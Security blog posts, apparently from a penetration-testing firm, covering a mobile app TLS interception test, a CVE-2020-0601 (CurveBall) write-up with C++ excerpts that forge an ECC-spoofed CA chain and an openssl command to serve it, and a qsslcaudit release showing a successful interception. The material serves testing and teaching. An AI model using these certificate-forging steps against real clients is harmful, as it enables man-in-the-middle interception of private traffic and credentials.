User-Agent: qing/2.2.17 (Android-6.0.1;U;en-GB) Version/12.3.5 App/android-office

Accept-Encoding: gzip

Cookie: wpsua=V1BTVUEvMS4wIChhbmRyb2lkLW9mZmljZToxMi4zLjU7YW5kcm9pZDo2LjAuMTs0ZjA1OTFmYTJkMjU5NDcxZGQ2ZDU2OGU4M2Q5OGQwMTpjMkZ0YzNWdVp5QlRUUzFCTXpFd1JnPT0pc2Ftc3VuZy9TTS1BMzEwRg==

Content-Type: application/json; charset=utf-8

Device-Id: 4f0591fa2d259471dd6d568e83d98d01

Date: Thu, 27 Feb 2020 10:53:34 GMT

X-Sdk-Ver: Android-2.2.17

Accept-Language: en-GB

Authorization: WPS-2:AqY7ik9XQ92tvO7+NlCRvA==:ad7340f9fa2aeb06fd32f89fcafea42e62d09eeb

Content-Length: 90

Connection: Keep-Alive

{"account":"gremwell@gremwell.com","password":"OV-UOIt-L5kzKC2-Pr4j7g==\n","encrypt":true}

received data, bytes: 0

transmitted data, bytes: 0

not a valid TLS/SSL client, 0 byte(s) of raw data received, i.e.:

qsslcaudit version: 0.8.1

We were able to intercept the credentials, shown in the last of two intercepted requests. Yes, they are "encrypted", but as we can intercept all communications, we have all information to decrypt them.

{"account":"gremwell@gremwell.com","password":"OV-UOIt-L5kzKC2-Pr4j7g==\n","encrypt":true}

Conclusion

In this document we described a typical mobile application test scenario we follow when assessing SSL/TLS communications security. We always verify client-side TLS implementation for all kinds of applications we test: mobile application, web services and other types of software. As we demonstrated in this example it has to be done in all cases: even widely used applications suffer from such vulnerabilities.

qsslcaudit tool helps pentesters in such assessments as it prepares all kind of certificates. As we demonstrated some clients may not trust self-signed certificates issued for invalid common names but trust others, which have the expected common name field. Manual tests with openssl s_server are doable, but prone to errors and do not have coloured output. :-)

Happy intercepting!

pavel Fri, 02/28/2020 - 16:24

CVE-2020-0601: theory and practice

pavel — Wed, 26 Feb 2020 13:25:27 +0000

CVE-2020-0601: theory and practice

Intro
Theory
Practice
Conclusion

Intro

On the 14th of January 2020, Microsoft fixed CVE-2020-0601, a high severity vulnerability affecting "the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates". Corresponding advisories were issued by NSA and CERT on the same day. On the next day it got a few nicknames such as Chain of Fools, or CurveBall. Some internal details were given by Thomas Ptacek and Kudelski Security. The latter one inspired us to look at this vulnerability from a more practical point of view.

Some proof-of-concepts were already available: by Saleem Rashid and Kudelski Security. However, we found that even having all aforementioned details and proof-of-concepts it is still not perfectly clear how to implement test for CVE-2020-0601 in general. Such tests were finally added to our client-side SSL/TLS validation tool qsslcaudit. You can discover more details on the subject in this post.

In this article we describe how to generate a certificate (using C++) that a vulnerable client will consider to be valid. We hope that it will help you understand the root cause of the vulnerability and the maths behind.

Theory

Kudelski Security blog post really well describes the mathematical background. Well, not really. :-) The author of this post is a good example of someone who did not - and in fact still does not - have any background in cryptography. As such, everything was clear during reading the article and totally black magic during attempts to implement the same in our own way. Let's try to give an explanation which is closely tied with the implementation.

Common words

So, what is this issue about? Windows implementation of certain certificates validation had a flaw (at least one which is now public). These *certain certificates* are the ones which are signed using elliptic-curve cryptography method. Here we have two terms which require clarification: *signing* and *elliptic curve cryptography*.

A TLS certificate by itself can contain a lot of fields. Some of them can contain arbitrary content, others are purely informational, and several are critical to TLS clients. A client expects to find such fields being equal to certain values (totally depends on client implementation!). For example, if a TLS client connects to some entity claiming the ownership of "example.com" the client expects to find a certificate with "common name" (CN) field set to "example.com".

Obviously, it makes no sense if anyone can write such certificate for "example.com". In order to provide authenticity of the "example.com" entity, the certificate has to be *signed* by some third-party trusted entity. To *sign* a certificate means to calculate a *signature* over the certificate's fields. This signature is included in the certificate too. Signature can be calculated using various cryptography algorithms. The particular algorithm is also included into the certificate. Currently, such algorithms rely on "public-key cryptography". Thus, the *public key* itself is also included into certificate. Having all this information (including trust to signing certificate authority) is enough for TLS client to confirm that the TLS server is indeed the owner of the specified resources.

In the description above we see another term: *public-key cryptography*. By design, if one entity has a private key it can generate the corresponding public key. The public key is not a secret and is distributed among involved parties. The public key can be used to encrypt arbitrary data but it can not decrypt it. Encrypted data (cipher text) can be decrypted only with the private key.

Such feature can be used to implement *signing* process. The owner of the private key produces a signature from its private key and a known data. The owner of the public key uses its public key and the provided signature to calculate shared known data. Then it compares calculation results with the provided data. If they are equal, the public key owner confirms authenticity of the entity which provided the signature.

The described approach relies on asymmetric (hardly reversible) mathematical operations. Among such methods are RSA and elliptic-curve cryptography.

And we know that something is wrong with how Windows validates signature of ECC certificates...

ECC

A very good explanation of elliptic-curve cryptography can be found in Practical Cryptography for Developers. Here we will just emphasize some key points related to the discussed proof-of-concept implementation.

The elliptic curve cryptography (ECC) uses elliptic curves over the finite field. Here is an example (from the article) showing what it could look like:

y^2 ≡ x^3 + 7 (mod p)

This field can be represented as a square matrix of size p x p where p is prime. The points on the curve are limited to integer coordinates within the field only. Thus, dealing with "curve" actually means working over limited set of "points", defined by their coordinates (x, y), where each coordinate belongs to the curve (field).

See the great illustration from the aforementioned article:

p is called field size and determines *key length*. Typically it is a prime number of 256, 384 or 512 bits.

As was stated above, the number of points in the field (curve) is limited (finite) and is called *order of the curve* and usually defined as n.

There are rules on how algebraic operations within the field are defined. The result of such operation (like point addition and multiplication) within the field always remains in the field.

Let's also do the following trick:

select a point on the curve (an object defined by two coordinates);
multiply it by an integer number;
the result will belong to the curve too, multiply it again by the same number;
repeat the process until reaching the initial point.

All points "visited" by such process belong to a list which is called a *subgroup*. There can be several subgroups. The number of them which includes all the curve points (n) is called *cofactor*, h.

As one can guess, it should be possible to carefully craft a curve, select a point on it and find an integer number such that the starting point being multiplied by this number several times will cover *all* the curve points. The cofactor h of such curve will be 1: the curve contains only one subgroup. Such starting point is called *generator*, G.

Standard predefined curves are defined to have cofactor 1 for a known G. Do note that nothing stops from selecting another generator point and multiply it by some integer number. However, this operation could cover less points from the curve (depends on curve properties).

Overall, the particular curve is defined by:

Its mathematical formula.
Field size p (large prime number).
Generator point G on this curve.

To use this curve we define a large integer number, called *private key* k. If we multiply generator point G by private key k we get *public key* P: P = k*G. Note that public key is also a point on the curve (it is defined by two coordinates).

Computationally, the public key is calculated very fast (P = k*G). However, the inverse procedure (k = P/G) is extremely slow. This asymmetry is used to implement private-public key cryptography algorithms briefly described above.

The issue

In order to validate authenticity of the remote party, a TLS client has to validate the signature of the corresponding TLS certificate. This signature is produced by the trusted certificate authority by producing a signature of the provided TLS server certificate using the certificate authority' secret private key. Thus, in theory, a valid signature can be produced only if we know the corresponding certificate authority's private key. However, what happens is that the TLS client (vulnerable Windows version in this case) can improperly validate such signature.

By definition of the signature process, a client uses the certificate authority's public key and signature to craft shared public data. If they are equal then the signer is considered as having a valid private key.

In RSA cryptosystem the only "variable" which we can change in the process is private key (large integer). All other operations is "basic" arithmetic. However, in case of ECC we also have the curve itself.

Remember from the previous section that public key (shared, known to every one) is a product of private key and generator: P = k*G ? Generator here defines the curve and is included in the certificate, but taking it into an account is up to client itself.

We can not find the original private key k, but we can select our own generator G' and some other private k' which will produce the desired public P: P = k' * G'. Here private key k' is an integer, generator G' is a point and public key P is a point too.

If our algorithm produces the same public key it will produce the same signature too. Thus, if TLS client uses our ECC algorithm (curve) instead of the one set in the CA's certificate it will consider our fake signature as valid.

Practice

In order to implement the discussed proof of concept we decided to use CryptoPP library for elliptic curve computations and OpenSSL API to deal with certificates. Unfortunately, CryptoPP by itself does not implement operations on TLS certificates.

Below we will take some excerpts from our PoC published on Github as cve-2020-0601_poc and explain them.

Objective

Our objective is to craft a certificate chain which will be considered as valid for a particular domain name by our victim.

For this chain we first need a CA certificate similar to some that are already known to the victim. Then we have to produce a private key which uses our custom elliptic curve. This private key has to produce the same public key than the valid CA certificate.

Then we have to create a TLS web server certificate issued for a particular common name, signed by some private key (generated using some known curve). If we sign this certificate using our evil certificate authority it will produce the same signature as would the valid one.

Input data

Only the following is required as input data:

Original CA certificate. It contains the certificate authority's public key and other fields which can be copied. However, the only essential field is "serial number".
Target common name. Usually, it is a host name our victim connects to.

The input data is parsed by our PoC in its main() function by extracting a public key and a serial number from the provided certificate:

    // get raw public key bytes from the CA certificate

    // our objective is to be able to craft a key that will produce them

    unsigned char caPubKey[8192];

    size_t caPubKeyLen;

    ret = getCertPublicKey(caCertPem.c_str(), caCertPem.size(), caPubKey, &caPubKeyLen);

    if (!ret) {

        return -1;

    }

    // get CA's serial number

    unsigned char caSerial[512];

    size_t caSerialLen;

    ret = getCertSerial(caCertPem.c_str(), caCertPem.size(), caSerial, sizeof(caSerial), &caSerialLen);

    if (!ret) {

        return -1;

    }

The routines getCertPublicKey() and getCertSerial() are implemented using OpenSSL API in openssl-helper.cpp file here and here. There is nothing special there except that we carefully convert formats to have public key and serial number as raw bytes sequences.

Okay, we have the input data, let's start crafting certificates. This is done in function genCve20200601Cert.

Evil private key generation

The craftEvilPrivKey() function implemented in cve-2020-0601_poc.cpp does this job in the following way.

At first, we create CryptoPP representation of CA's public key. This object defines elliptic curve and a point on it:

    DL_Keys_ECDSA<ECP>::PublicKey caPubKey;

    caPubKey.Load(CryptoPP::ArraySource((const CryptoPP::byte *)caPubKeyRaw,

                                         caPubKeyRawLen, true).Ref());

This allows us to access original elliptic curve definition and parameters as caPubKey.GetGroupParameters(). We use exactly this curve to generate a new private key:

    CryptoPP::AutoSeededRandomPool prng;

    DL_Keys_ECDSA<ECP>::PrivateKey privKeyBase;

    privKeyBase.Initialize(prng, caPubKey.GetGroupParameters());

To convert this private key to the one which produces the desired public key we have to modify elliptic curve parameters. We have to produce an evil generator G' which satisfies the following equation: G' = Q / k. Or the same: G' = Q * 1/k. Q -- is CA's public key (remember that it is a point?). 1/k is the *inverse* value of the private key obtained earlier. Inversion is calculated as (k ^ -1) mod n, where n is the curve order. We need mod operation here as "curve", which is in fact a "finite field" with some order.

This is implemented as:

    // calculate an inverse value of the private key

    CryptoPP::Integer privKeyInverse = CryptoPP::EuclideanMultiplicativeInverse(privKeyBaseExp, privKeyBaseOrder);

    // produce our custom generator (base point) as a multiplication of the inverse value of our private key

    // and the public key of the provided CA certificate

    ECP::Point caPubKeyQ = caPubKey.GetPublicElement();

    ECP::Point evilG = privKeyBaseCurve.ScalarMultiply(caPubKeyQ, privKeyInverse);

Now we have everything we need to craft our own curve and the corresponding private key structure:

Curve mathematical form (from CA's public key).
Curve order (from CA's public key).
Base generator: evilG.
Some large integer as a private key itself.

It is done here:

    // create an "evil" private key object using the base private's key exponent and curve but

    // with our "evil" generator (base point)

    DL_Keys_ECDSA<ECP>::PrivateKey evilPrivKey;

    evilPrivKey.Initialize(privKeyBaseCurve, evilG, privKeyBaseOrder, privKeyBaseExp);

That is it. It will work as expected by design.

What is left is to export private key structure as a raw bytes:

    // convert evil private key into PKCS8 format

    CryptoPP::ArraySink evilPrivKeyPKCS8As((CryptoPP::byte *)outEvilPrivKeyPKCS8, maxSizePKCS8);

    evilPrivKey.Save(evilPrivKeyPKCS8As.Ref());

    *outEvilPrivKeyPKCS8Len = evilPrivKeyPKCS8As.TotalPutLength();

Now we can proceed with certificates generation.

Crafting certificates

At first we have to deal with keys format issues. CryptoPP returns elliptic-curve private key in PKCS8 format (see https://www.cryptopp.com/wiki/Keys_and_Formats). In theory it should be understood by OpenSSL and other libraries but in practice there is one caveat. This key we crafted defines a custom curve which is not in the standard list of supported curves. When a library tries to parse such key it fails to create internal structures describing the curve and produces an error.

We found a set of OpenSSL API calls which allowed us to have a valid key in OpenSSL internal format. We also noticed that some OpenSSL versions have implementation errors which result in perfectly fine operations (no errors returned) but invalid TLS certificates as a result.

Overall, we convert CrytoPP's private key into PEM format in the following way:

    pkey = d2i_PrivateKey_bio(bioIn, NULL);

...

    PEM_write_bio_PrivateKey(bioOut, pkey, NULL, NULL, 0, NULL, NULL);

Nothing special, but it consumed quite some time to find the proper calls.

Now we are ready to create a custom CA certificate with the same serial number as the provided one. This is implemented by genSignedCaCertWithSerial() function. To sign the certificate we use previously crafted malicious private key. When forming the CA certificate it was essential to be careful about the set of X509 fields to fill, serial number format and the set of X509v3 extensions.

The last step is to generate a certificate for the desired common name. It was a straightforward procedure without any quirks or workarounds. It is implemented by genSignedCertForCN() function.

After all we obtain the following certificates which can be used to validate the issue:

Evil CA certificate.
Target host certificate.
Target host private key.

Exploitation

The proof of concept mentioned here, cve-2020-0601_poc, accepts a single parameter as input: a path to CA certificate. This certificate has to be signed using ECC algorithm.

The PoC saves several certificates as files in its working directory:

test-cve_evil-ca.crt. Evil CA certificate. PEM format.
test-cve_evil-privkey.key. Evil CA private key. PEM format.
test-cve_evil-privkey-pk8.key. Evil CA private key. PKCS8 DER format.
test-cve_host-cert.crt. Target host certificate. PEM format.
test-cve_host-privkey.key. Target host private key. PEM format.

The tool is hardcoded to produce certificates for "example.com" common name.

OpenSSL's s_server can be fed with the produced certificates as follows:

sudo openssl s_server -cert test-cve_host-cert.crt -key test-cve_host-privkey.key -chainCAfile test-cve_evil-ca.crt -www -accept 443

Redirect the victim (vulnerable OS) to the desired socket and if all goes well, the TLS client (browser) will not emit certificate validation error.

The result should look like this one:

Please note that it is required to have the legitimate CA certificate using ECC in the operating system cache. This can be achieved by redirecting a victim to a legitimate TLS server which uses a certificate signed by the certificatee authority of our choice.

qsslcaudit

A test for this vulnerability was added to our tool for assessing SSL/TLS clients implementation, qsslcaudit. See the corresponding announcement and section in the tool's README file.

CVE-2020-0601 test implemented in qsslcaudit allows a security researcher to have everything in one place: malicious certificate generation for arbitrary domains, TLS server and clear description of the intercepted connection.

Conclusion

This particular vulnerability grabbed our attention because, being an issue in client-side TLS implementation, it should fit perfectly as one of the qsslcaudit's tests. We started to work on it in early February 2020 thinking "ah, okay, there are articles published, proof of concepts written, we have a tool which does the heavy lifting, so just create a slightly modified private key and you will be good to go". Nope. Not that easy.

Trying to fit a proof of concept into a product is not just copy-pasting from Github repository. It requires having a piece of code implemented without any hardcoded parameters and not relying on any specifics. It should handle arbitrary input parameters to produce the desired output. Finally, it has to be compliant with the chosen programming language and libraries.

It turned out that working with elliptic curve parameters at a low level is not well supported by TLS libraries we used (GNUTLS and OpenSSL). Moreover, even if you just provide a ready-made private key to these libraries they refused to work due to non-standard curves. We had to find an alternative way to work with ECC. This was CryptoPP library.

Adding another library to your project (especially if it is written in C/C++) can be a huge pain in itself. Luckily in this case it was not that problematic, but another problem arose: it was not straightforward to convert ideas from blog posts or practical implementations into the particular library calls. We had to truly understand the issue, the theory behind it.

Fighting with OpenSSL to generate proper certificates took another set of working days. It was really frustrating to spend time on that as it is not related to the issue itself and was about digging through obscure code and bad documentation. Not mentioning bugs in outdated versions we were experimenting with.

As a result, it took several working days to get a fully working proof of concept and only one hour to integrate it into qsslcaudit.

The CVE-2020-0601 vulnerability is also interesting from a completely different perspective: how was it discovered ? Once you understand the issue and its root cause you immediately spot this potentially weak point: curve parameters which can be customised and controlled by another party of TLS handshake. Was it discovered like this ? By reading standards, creating hypothesis, writing tools, testing various implementations ? Or was it a careful study of disassembled crypto32.dll ? Even if we do not know the answer we can still learn from it.

Happy studying. :-)

pavel Wed, 02/26/2020 - 14:25

qsslcaudit release v0.8.1, CVE-2020-0601 test included

pavel — Tue, 25 Feb 2020 11:39:07 +0000

qsslcaudit release v0.8.1, CVE-2020-0601 test included

This is a new release of our tool designed to assess TLS clients security (certificates validation, protocols and ciphers support): v0.8.1.

The corresponding packages for various Ubuntu versions are prepared in ppa:gremwell/qsslcaudit. Packaging for Kali is handled by Kali maintainers.

The single feature has been added: support of assessing clients vulnerable to CVE-2020-0601 (the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates).

Please note that testing a client for such issue is not straightforward. It requires understanding on what is being tested as well as making some preparation. More on qsslcaudit usage is in README.

Consider the following example which demonstrates successful traffic interception against vulnerable Windows build:

$ sudo qsslcaudit -l 0.0.0.0 -p 443 --selected-tests 29 --user-ca-cert ./USERTrustECCCertificationAuthority.crt --user-cn example.com

preparing selected tests...

SSL library used: OpenSSL 1.0.2u  20 Dec 2019

running test #29: test for trusting certificate signed by private key with custom curve

listening on 0.0.0.0:443

connection from: 127.0.0.1:52454

SSL connection established

received data: GET / HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-BE

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362

Accept-Encoding: gzip, deflate, br

Host: example.com

Connection: Keep-Alive

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

tests results summary table:

+----|------------------------------------|------------|-----------------------------+

| ## |             Test Name              |   Result   |           Comment           |

+----|------------------------------------|------------|-----------------------------+

| 29 | CVE-2020-0601 ECC cert trust       | FAILED !!! | mitm possible               |

+----|------------------------------------|------------|-----------------------------+

most likely all connections were established by the same client

the first connection details:

source host: 127.0.0.1

dtls?: false

ssl errors:

ssl conn established?: true

intercepted data: GET / HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-BE

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362

Accept-Encoding: gzip, deflate, br

Host: example.com

Connection: Keep-Alive

received data, bytes: 722

transmitted data, bytes: 1698

protocol: TLSv1.2

accepted ciphers: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_CBC_SHA256:TLS_RSA_WITH_AES_128_CBC_SHA256:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_3DES_EDE_CBC_SHA

SNI: example.com

ALPN: h2, http/1.1

qsslcaudit version: 0.7.1-snapshot

pavel Tue, 02/25/2020 - 12:39